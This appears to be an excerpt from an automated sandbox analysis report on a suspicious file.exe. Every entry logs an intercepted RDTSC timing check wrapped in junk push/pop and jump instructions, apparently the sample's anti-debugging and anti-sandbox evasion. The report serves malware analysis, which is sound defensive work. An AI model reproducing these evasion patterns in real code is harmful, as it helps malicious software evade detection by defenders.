Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A953 second address: 56A973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F1F34FC7067h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A973 second address: 56A992 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34B447F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A992 second address: 56A99E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A99E second address: 56A9A6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56E1D8 second address: 56E1E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5725EF second address: 5725F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5725F8 second address: 5725FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5725FE second address: 57260B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F1F34B447ECh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC5D6 second address: 4CC5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1F34FC7056h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC5E2 second address: 4CC60D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1F34B447F6h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jns 00007F1F34B447E6h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571D27 second address: 571D4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC7064h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1F34FC705Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571D4E second address: 571D5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572010 second address: 572016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572016 second address: 57201B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57201B second address: 57202B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC705Bh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5783FA second address: 578402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578402 second address: 578408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5786DE second address: 5786ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop ebx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5786ED second address: 5786F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5789DF second address: 5789EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F1F34B447E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5789EC second address: 5789F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5789F0 second address: 5789F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5789F6 second address: 5789FB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5789FB second address: 578A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1F34B447E6h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578D54 second address: 578D78 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1F34FC7068h 0x00000008 jmp 00007F1F34FC7062h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578D78 second address: 578DAE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1F34B447E6h 0x00000008 jmp 00007F1F34B447F9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F1F34B447F3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578DAE second address: 578DBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 js 00007F1F34FC7056h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578DBB second address: 578DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5792F3 second address: 5792FD instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1F34FC705Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579B4E second address: 579B64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1F34B447EDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A13D second address: 57A15A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F1F34FC7067h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A15A second address: 57A15E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E152 second address: 57E15C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E15C second address: 57E173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F34B447F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D58A second address: 57D58E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D58E second address: 57D594 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D594 second address: 57D5A4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1F34FC7058h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D5A4 second address: 57D5A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D6EC second address: 57D6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D6F4 second address: 57D6FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D6FC second address: 57D73C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007F1F34FC7060h 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e jmp 00007F1F34FC705Ah 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F1F34FC7065h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D73C second address: 57D741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D741 second address: 57D746 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D746 second address: 57D74C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DA14 second address: 57DA1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DA1C second address: 57DA20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DCAE second address: 57DCE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC7062h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jg 00007F1F34FC7075h 0x00000010 jmp 00007F1F34FC7069h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DCE6 second address: 57DCEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DCEE second address: 57DCF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DCF2 second address: 57DD0F instructions: 0x00000000 rdtsc 0x00000002 je 00007F1F34B447E6h 0x00000008 jmp 00007F1F34B447EDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DE5D second address: 57DE62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58275B second address: 58275F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58275F second address: 582771 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC705Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583D1A second address: 583D24 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1F34B447FBh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583D24 second address: 583D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F34FC705Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B6B4 second address: 58B6B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5898F2 second address: 5898FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5898FA second address: 5898FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5898FE second address: 589912 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d jns 00007F1F34FC7056h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A2BB second address: 58A2DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F1F34B447E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F1F34B447F5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A2DC second address: 58A31D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1F34FC705Ch 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d jmp 00007F1F34FC705Ah 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 jmp 00007F1F34FC7062h 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F1F34FC705Ah 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A5CA second address: 58A5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F34B447F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A5E2 second address: 58A5E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AE96 second address: 58AE9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AE9A second address: 58AEA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AEA5 second address: 58AEB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1F34B447E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589405 second address: 58940C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58940C second address: 589412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592BEF second address: 592BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592BF5 second address: 592C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007F1F34B447F9h 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592C16 second address: 592C1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5927C3 second address: 5927CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5927CA second address: 5927DC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F1F34FC7056h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5927DC second address: 5927E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5927E0 second address: 5927E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5927E6 second address: 5927F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594FC2 second address: 594FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594FC6 second address: 594FDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34B447F1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59FAD9 second address: 59FAE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59FAE2 second address: 59FAE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59FAE8 second address: 59FAFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1F34FC705Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A28EF second address: 5A28FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F1F34B447E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A28FB second address: 5A28FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A23C4 second address: 5A23CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A23CC second address: 5A23DC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jc 00007F1F34FC7056h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A23DC second address: 5A23E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A23E0 second address: 5A23F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jbe 00007F1F34FC7056h 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A23F6 second address: 5A2411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1F34B447F5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2411 second address: 5A241B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1F34FC7056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A241B second address: 5A2424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A71F2 second address: 5A71F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A71F6 second address: 5A7210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F34B447ECh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007F1F34B447ECh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DCF28 second address: 4DCF2E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5E47 second address: 5B5E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5E4F second address: 5B5E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5E54 second address: 5B5E75 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F1F34B447F7h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5E75 second address: 5B5E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5E79 second address: 5B5EC1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1F34B447E6h 0x00000008 jmp 00007F1F34B447F8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jp 00007F1F34B44809h 0x00000017 jmp 00007F1F34B447F9h 0x0000001c pushad 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4B21 second address: 4D4B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5CDD second address: 5B5CE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5CE3 second address: 5B5CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9DC8 second address: 5B9DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
